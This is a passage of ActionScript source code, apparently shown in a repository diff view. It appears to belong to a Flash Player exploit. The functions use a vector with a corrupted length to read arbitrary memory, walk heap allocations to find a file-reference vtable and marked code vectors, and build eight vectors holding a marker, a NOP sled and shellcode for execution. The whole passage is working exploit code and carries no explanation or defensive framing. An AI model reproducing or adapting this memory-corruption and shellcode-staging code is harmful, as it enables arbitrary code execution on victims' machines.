|
||||||
|
if (content == 0x50000000)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 1)]) == 0x830850ff)
|
||||||
|
{
|
||||||
|
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
|
||||||
|
{
|
||||||
|
offset = 3;
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
|
||||||
|
return ([memory_protect_ptr, _local_6]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// vector: vector with tweaked length
|
||||||
|
// address: memory address of vector data
|
||||||
|
function find_file_ref_vtable(vector:*, address:*):uint{
|
||||||
|
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
|
||||||
|
|
||||||
|
// Find an allocation of size 0x2a0
|
||||||
|
var allocation_size:uint;
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
allocation_size = this.read_memory(vector, address, (allocation + 8));
|
||||||
|
if (allocation_size == 0x2a0) break;
|
||||||
|
if (allocation_size < 0x2a0)
|
||||||
|
{
|
||||||
|
allocation = (allocation + 0x24); // next allocation
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
allocation = (allocation - 0x24); // prior allocation
|
||||||
|
};
|
||||||
|
};
|
||||||
|
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
||||||
|
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
||||||
|
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
||||||
|
};
|
||||||
|
return (allocation_contents);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Returns pointer to the nops in one of the allocated code vectors
|
||||||
|
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
||||||
|
var allocation_size:uint;
|
||||||
|
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
||||||
|
if (allocation_size == 0x7f0) break; // Code Vector found
|
||||||
|
allocation = (allocation + 0x24); // next allocation
|
||||||
|
};
|
||||||
|
|
||||||
|
// allocation contents should be the vector code, search for the mark 0x45454545
|
||||||
|
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
||||||
|
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
||||||
|
};
|
||||||
|
return ((allocation_contents + 0x2c));
|
||||||
|
}
|
||||||
|
|
||||||
|
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
||||||
|
function createCodeVectors(mark:uint, nops:uint){
|
||||||
|
var code_vectors_array:Array = new Array();
|
||||||
|
var i:* = 0;
|
||||||
|
while (i < 8)
|
||||||
|
{
|
||||||
|
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
||||||
|
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
||||||
|
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
||||||
|
i++;
|
||||||
|
};
|
||||||
|
return (code_vectors_array);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Fill with the code vectors with the shellcode
|
||||||
|
function fillCodeVectors(array_code_vectors:Array) {
|
||||||
|
var i:uint = 0;
|
||||||
|
var sh:uint=1;
|
||||||
|
|
||||||
|
while(i < array_code_vectors.length)
|
||||||
|
{
|
||||||
|
for(var u:String in shellcodeObj)
|
||||||
|
{
|
||||||
|
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
sh = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}//package
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue